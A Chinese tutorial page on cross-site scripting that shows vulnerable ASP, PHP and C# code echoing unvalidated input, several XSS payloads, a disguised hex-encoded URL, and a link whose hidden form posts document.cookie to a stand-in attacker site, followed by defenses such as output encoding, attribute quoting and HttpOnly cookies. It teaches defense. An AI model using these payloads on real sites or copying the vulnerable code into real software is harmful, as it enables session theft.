课程表

网络安全课程

工具箱
速查手册

跨站点脚本攻击(XSS)

当前位置:免费教程 » 其他 » 网络安全
注意:本页面内容为W3xue原创,未经授权禁止转载,违者必究!
来源:W3xue  发布时间:2017/12/27 21:17:34

在上一节中,我们介绍了脚本攻击,而跨站点脚本攻击是其特异的变种,也是危害最大的种类。一旦发生这种攻击,受害者往往责怪另一个受害者——有漏洞的站点,甚至责怪另一个名誉受害者——被伪装的网站,而真凶却往往逍遥法外。这是怎么回事?我们看下面的示意图:

跨站点脚本攻击

可以看出,跨站点脚本攻击的起点位于一个有漏洞的页面,这个页面没有对用户输入进行任何验证就对其进行打印,导致了攻击者能够将任意代码植入到这个页面中。

我们来分别看几段代码,首先是老式的ASP代码:

  1. 你好,<% Response.Write(Request.QueryString("name")) %>

相同作用的php代码:

  1. 你好,<?php $uesername=$_GET['name'];
  2. echo $uesername;
  3. ?>

相同作用的.net/C#的代码:

  1. string username = Request.QueryString["name"].ToString();
  2. Response.Write(username);

以上三个代码,都有一共共同的作用:它们打印用户传递来的名称字符串,但他们都有一个共同的漏洞:对用户GET方法传递而来的字符串,没有进行任何的判断和处理就进行打印。如果,用户传来的是一串JS脚本字符串,它们就直接被打印了:

  1. http://www.somewebsitewithvulnerabilitypoint.com/showname.aspx?name=<script>var x%3Ddocument.cookie;alert(x);</script>

真正的攻击要比简单的弹出一个对话框要严重的多。普通用户受害者很容易发现这个地址的不对之处,它们带有一些异常的代码。但是,攻击者往往会将地址重编码进行伪装,而使其看起来像是另外一个网站的页面:

  1. //www.w3xue.com@%77%77%77%2E%73%6F%6D%65%77%65%62%73%69%74%65%77%69%74%68%76%75%6C%6E%65%72%61%62%69%6C%69%74%79%70%6F%69%6E%74%2E%63%6F%6D%2F%76%75%6C%6E%65%72%61%62%69%6C%69%74%79%70%6F%69%6E%74%2E%61%73%70%3F%6E%61%6D%65%3D%26%6C%74%3B%73%63%72%69%70%74%26%67%74%3B%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%26%6C%74%3B%2F%73%63%72%69%70%74%26%67%74%3B

这是一段经过ASCII的16进制重编码的网址,乍看起来,它像是www.w3xue.com上的某个页面地址,信任www.w3xue.com的用户认为,就算该地址那么长,但www.w3xue.com的地址应该是安全的,于是他们点击了该链接,结果自己中招了。用户怪罪于www.w3xue.com,为什么你的网站含有恶意代码?但实际上,这个地址跟www.w3xue.com没有任何的关系。我们将URL还原来看看:

  1. //www.w3xue.com@www.somewebsitewithvulnerabilitypoint.com/vulnerabilitypoint.asp?name=<script>alert(document.cookie);</script>

这个地址真实的网址,是位于www.somewebsitewithvulnerabilitypoint.com这个网站上的vulnerabilitypoint.asp页面,这个有漏洞的页面被攻击者利用,将其进行了伪装发送给了受害用户。根据RFC1738文档(不知道的可以度娘一下)的定义,URL的格式应该是下面这个样子的:

  1. //user:password@host:port/urlpath

翻译成中文就是:

  1. 用户名:密码@主机名:端口/页面地址

其中的主机名,可以是域名,也可以是IP地址。而用户名、密码、端口(默认为80)、urlpath都是可以省略的。就是说攻击者发送的是一个合法的URL地址,可以找到相应的网络资源。虽然某些先进的浏览器抛弃了“用户名:密码”部分,但攻击者仍然可以将真实网址进行编码,而故意将某个可信网站的网址显露给用户。

攻击者会在某些地址中,精心安排加入的代码,一旦有受害者中招,攻击者便可以完全操控受害者在该有漏洞的网站上的数据,篡改页面显示的内容,使用ajax等调用任意他想要调用的危险页面!

一、攻击示例

  1. <a href=http://www.some-website-with-vulnerabilitypoint.com/vulnerabilitypoint.asp?name=<form action=http://www.hacker-s-bad-website-example.com/hacknow.asp method=post id=someid><input name="cookie" type="hidden"></form><script>someid.cookie.value=document.cookie;someid.submit();<script> >点击赢取大奖</a>

当用户点击这个文本为“点击赢取大奖”的链接(这个链接尚未进行重编码,但黑客一般都会重编码),就会访问有漏洞的页面,同时,还会将www.some-website-with-vulnerabilitypoint.com的cookie数据,传递给黑客建的用于接收数据的网站www.hacker-s-bad-website-example.com中的hacknow.asp页面,并将其保存以方便进行利用(如盗号等行为)。

你或许认为,使用https的网站会避免跨站脚本攻击,补上页面的漏洞。但实际上,这一办法行不通!https安全页面并不能避免XSS攻击。

有一些公司或单位采取某种信任局域网的策略,在局域网运行的站点给予完全的信任。实际上,这也埋下了安全隐患:一旦攻击者知晓了内部站点的地址,也可以将链接指向局域网有漏洞的页面,那么该内部站点的信息也会泄露。虽然局域网限制了攻击者的攻击范围和危害,但也必须重视。

如果某个站点存在XSS漏洞,且依靠cookie进行输出,比如输出用户名等,那么XSS攻击就能长期存在。因为攻击者只需要通过JS感染cookie,在其中加入危险代码,以后普通的受害用户只要访问那个站点,这些危险代码就会运行。直到用户清除cookie前,攻击将持续存在,就算补上了XSS漏洞也一样。

部分站点为了方便,会直接将用户输入插入<script>和</script>之内,这就更加方便了攻击者。另外,我们往往也在网站上看到这样的代码:

  1. <a href="javascript:history.go(-1)">点击这里返回</a>

这种放在链接中的JS代码现象其实非常普遍,因为它用起来非常方便,不需要再去写JS代码块。但现在我们试想一下,某个网站使用了用户输入的链接和标题,不加验证就直接打印出来,格式类似于:

  1. <a href="用户输入的链接">用户输入的标题</a>

可想而知会发生什么:攻击者会将类似“javascript:危险代码”这样的模板作为链接,再配上一个诱惑性的标题,就能轻易的开展攻击。

另外一些情况,一些攻击代码可以利用JS的便捷性,只需要很少的用户交互,或者压根不需要用户交互就能发动攻击。以之前例子中的老式ASP代码为例:

  1. 你好,<% Response.Write(Request.QueryString("name")) %>

如果我们在用户输入中提交一个类似这样的代码:

  1. <span onmouseover="alert(document.cookie)" style="font-size:160px">任意的文本</span>

受害用户只要将鼠标放在文本上面就可以运行恶意代码,而如果调大这些文字,或者将其作为一张铺满屏幕的图片,那么用户几乎一定会受到攻击。而如果将html的<body>标签内放入未经验证的用户输入,其后果会更严重——它会使得onload这样的加载事件变成攻击的利器。


二、XSS攻击变种

除了上述“主流”的攻击方式,XSS攻击还有3个主要的变种:针对本地文件XSS攻击、针对CHM等类HTML文件的攻击、针对HTML资源的攻击。

1、针对本地文件XSS攻击

针对互联网上的网站发动的XSS攻击十分普遍,但针对本地文件发动的XSS变种攻击就没有那么多了。但如果能预测本地文件的存储路径,并可以将用户输入作为输出,实际上它也是可以实现的。

当代的浏览器都会为浏览过的网页保存缓存文件,这样下次浏览起来会更快。你可以使用“无痕模式”这样的方法不进行保存,但如果不采用,浏览器是会默认保存缓存的。而这些缓存文件在系统中的位置相对固定,但只是相对,其存放的文件夹名称就是随机的(操作系统使用C++的CryptGenRandom函数产生)。但是,如果某个html文件是随着软件下载安装的呢?那么其位置就可以预测了,这就给攻击者以可乘之机。

针对本地的XSS攻击和针对服务器端的XSS攻击,利用的漏洞稍有不同。后者是利用服务器端没有对用户输入进行验证的漏洞,而针对本地的XSS攻击利用的,是本地文件试图通过JS获取到URL中的参数,并将其打印。这里,我们假设E:/software有一个local.html文件,其源代码如下:

  1. <html>
  2. <head>
  3. <title>本地某个软件自带的html文件</title>
  4. </head>
  5. <body>
  6. <script>
  7. document.write(location.hash);
  8. </script>
  9. </body>
  10. </html>

这段代码会试图将该文件URL部分“#”后面的部分打印。而如果单击下面的链接,就会弹出一个JS的警告框:

  1. <a href="E:/software/local.html#<script>alert('1')</script>" target="_blank">点击这里获取福利</a>

黑客会把这段警告框更换成更复杂、更危险的代码。虽然当代浏览器都没有将本地运行的文件作为一个有特别权限的文件,但是也需要警惕针对本地html文件发动的攻击。

2、HTML帮助文件(CHM)

HTML帮助文件也是一个本地XSS攻击对象,其扩展名为CHM。它是一个HTML文件的集合,经过编译形成。可以使用许多软件,包括微软官方的HTML Help Workshop等进行编译和反编译。而发动攻击时,利用的是mk:协议,而不是http:协议来进行。和所有本地html文件一样(包括哪些扩展名为htm甚至没有扩展名的文件),CHM文件也应该被视为潜在的攻击对象。

3、针对HTML资源的攻击

另外一个更加隐蔽的攻击方式是针对HTML资源的攻击。什么是HTML资源?就是通过IE浏览器等,通过res:协议可以访问本地的DLL文件、EXE文件和二进制图像中提取并显示的资源。比如,地址“res://e:/linklist.dll/#12/SHOWHTML”,将从E盘的linklist文件中名为“SHOWHTML”的资源(#12)并加以打印显示。因此,应该像对待本地HTML文件一样,对待HTML资源。

大多数现代浏览器,已经现代化的系统,已经屏蔽了这个漏洞存在的环境,但总有些旧操作系统的使用者,不是吗?


三、应对XSS的策略

跟应对其他所有用户输入型攻击一样,应对XSS攻击的首要策略就是,对用户输入进行充分而有效的验证。此外,还有一些辅助手段,可以帮助预防XSS攻击。

1、利用语言现成的转码函数

在打印用户输入之前,利用服务器语言自带的转码函数进行转码,可以过滤掉诸如HTML标识符(即“<”、“>”这样的尖括号)等。ASP使用Server.HTMLEncode方法,.net使用HttpServerUtility.HTMLEncode方法,PHP使用htmlspecialchars()strip_tags()函数。这些函数由程序语言或框架自带,方便实用,可以预防大部分XSS攻击。当然,它们也不是万能的。

2、利用正则表达式等对用户输入的内容进行深度验证

要使用服务器端语言,对用户输入进行充分的类型、大小和格式认证,杜绝非法的输入。

3、在所有的HTML标签属性上加上双引号

有的HTML编码者,不喜欢在标签属性中加双引号,特别是href属性,这很大程度上方便了攻击者。例如下面的ASP代码:

  1. <a href=detail.asp?id=<%=request.querystring("id")%>>

因为攻击者可以自己加上HTML的关闭标签(右尖括号>),例如,将代码加上“122><script>alert('1');</script>”之类的代码。这样,程序正常显示了一条id为122的数据,同时,还执行了攻击者的代码。

而如果,我们将上面的链接的href属性加上双引号,攻击者就没那么容易得逞了:

  1. <a href="detail.asp?id=<%=request.querystring("id")%>">

如果攻击者仍然输入“122><script>alert('1');</script>”,那么,ta得到的地址会是:

  1. <a href="detail.asp?id=122><script>alert('1');</script>">

这样,JS脚本就不会得到运行,只会经过服务器处理。就算攻击者输入了单引号进行攻击也一样。而我们在给属性加引号的时候,也一定要加双引号,单引号不会被浏览器转义。

4、使用JS的innerText函数

JS的innerText函数,可以取得某个标签内部的文本信息,也可以用来设置文本信息,而这里利用的就是它只会显示文本信息,而不会执行它们。所以,我们可以在打印输出页,将下面的代码加入到网页中:

  1. <span id="showarea"></span>
  2. <script>document.getElementById("showarea").innerText="<%=request.querystring("id")%>";</script>

就算攻击者输入了恶意的代码,这个功能也只是将其作为文本输出。

5、使用HttpOnly Cookie选项提高安全性

Cookie的HttpOnly 选项,可以使得在IE6+、火狐等浏览器中,保存的cookie不能被JS直接访问。Cookie的标头格式如下:

  1. Set-Cookie: =[; =]
  2. [; expires=][; domain=]
  3. [; path=][; secure][; HttpOnly]

用户使用了高版本的浏览器后,即使中招,cookie也不会直接发送给黑客,这样就提高了安全性。如果想在IIS、Tomcat等服务器软件中实现全站的HttpOnly选项,请自行度娘一下,这里不再赘述。

在程序语言中实现HttpOnly选项相对简单。ASP的代码如下:

  1. response.addheader("Set-Cookie","Name=MyName;path=/; HttpOnly;Expires="+Cstr(now))

asp.net实现如下:

  1. HttpCookie cookie=new HttpCookie("Name","MyName");
  2. cookie.Path="/; HttpOnly";
  3. Response.Cookies.Add(cookie);

这段代码可以放到单个页面里,实现单个页面添加HttpOnly Cookie。如果放到Global.asax的Application_OnPreSendRequestHeaders方法中,可以实现整个项目的快速添加。

非servlet3.0的JAVA EE项目也可以通过设置Header进行设置,格式如下:

  1. response.setHeader("Set-Cookie", "cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

php设置方法诸多,全站的设置方法如下:PHP5.2以上版本,php.ini中,将“session.cookie_httponly”的值设置为1或者TRUE,即可开启全局的Cookie的HttpOnly属性。

需要注意的是,黑客可不会坐以待毙,如果他们绕过HTTP协议来读取cookie,在socket层面利用抓包程序,模拟低版本的浏览器,则这一招就失效了。HttpOnly也不能预防黑客利用已被植入恶意代码的Cookie进行攻击。所以,HttpOnly只能加大黑客攻击的难度,不能从根本上杜绝XSS攻击。

6、使用“saved from url”标记

简单的说,“saved from url”标记可以使得本地保存的html页面,执行目标URL页面的安全策略。它又被称作“Web标记”,在保存网页到本地时,往往会在网页中自己生成。不要以为它只是简单的注释:

  1. <!-- saved from url=(0021)//www.w3xue.com/ -->

这个注释中,(0021)是目标URL的长度。在本地打开保存的文件时,浏览器会先查找“saved from url”标记,如果找到,则打开的当前页面的脚本会受到如下限制:如果目标URL上的策略禁止使用某项脚本,就算本地计算机策略允许运行此脚本,该脚本也运行不了。这样会使本地html文件在一定程度上免遭XSS攻击。

7、如果是.net站点,请开启ValidateRequest选项

如果你的站点使用的是.net技术架构,那么可以开启这个选项。ValidateRequest选项一旦开启,.net 将自动检查用户是否试图在cookie中设置HTML(特别是表单)、脚本和查询字符串,如果这些信息试图更改cookie,将引发HttpRequestValidationException异常。

有两种方式可以设置此选项,第一种是在.aspx文件第一行里添加一个属性值“ValidateRequest="true"”,类似这样:

  1. <%@ Page Language="C#" ValidateRequest="true" CodeBehind="test.aspx.cs" AutoEventWireup="true" Inherits="w3xue.test" %>

第二种方式,是通过设置配置文件(示例为4.0版,更低版本只需设置“<pages validateRequest="true"></pages>”即可):

  1. <configuration>
  2. <system.web>
  3. <compilation debug="true" targetFramework="4.0"/>
  4. <httpRuntime requestValidationMode="2.0" />
  5. <pages validateRequest="true"></pages>
  6. </system.web>
  7. <configuration>

其中,requestValidationMode 有两个值,可根据站点的安全性要求选择验证模式:

  • 2.0仅对网页启用请求验证。是启用还是关闭取决于 validateRequest。
  • 4.0 默认值。任何 HTTP 请求都会启用请求验证,也就是说不光是网页,还包括 Cookie 等。此时强制启用,不管 validateRequest 为何值。
注意:本页面内容为W3xue原创,未经授权禁止转载,违者必究!
来源:W3xue  发布时间:2017/12/27 21:17:34
 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号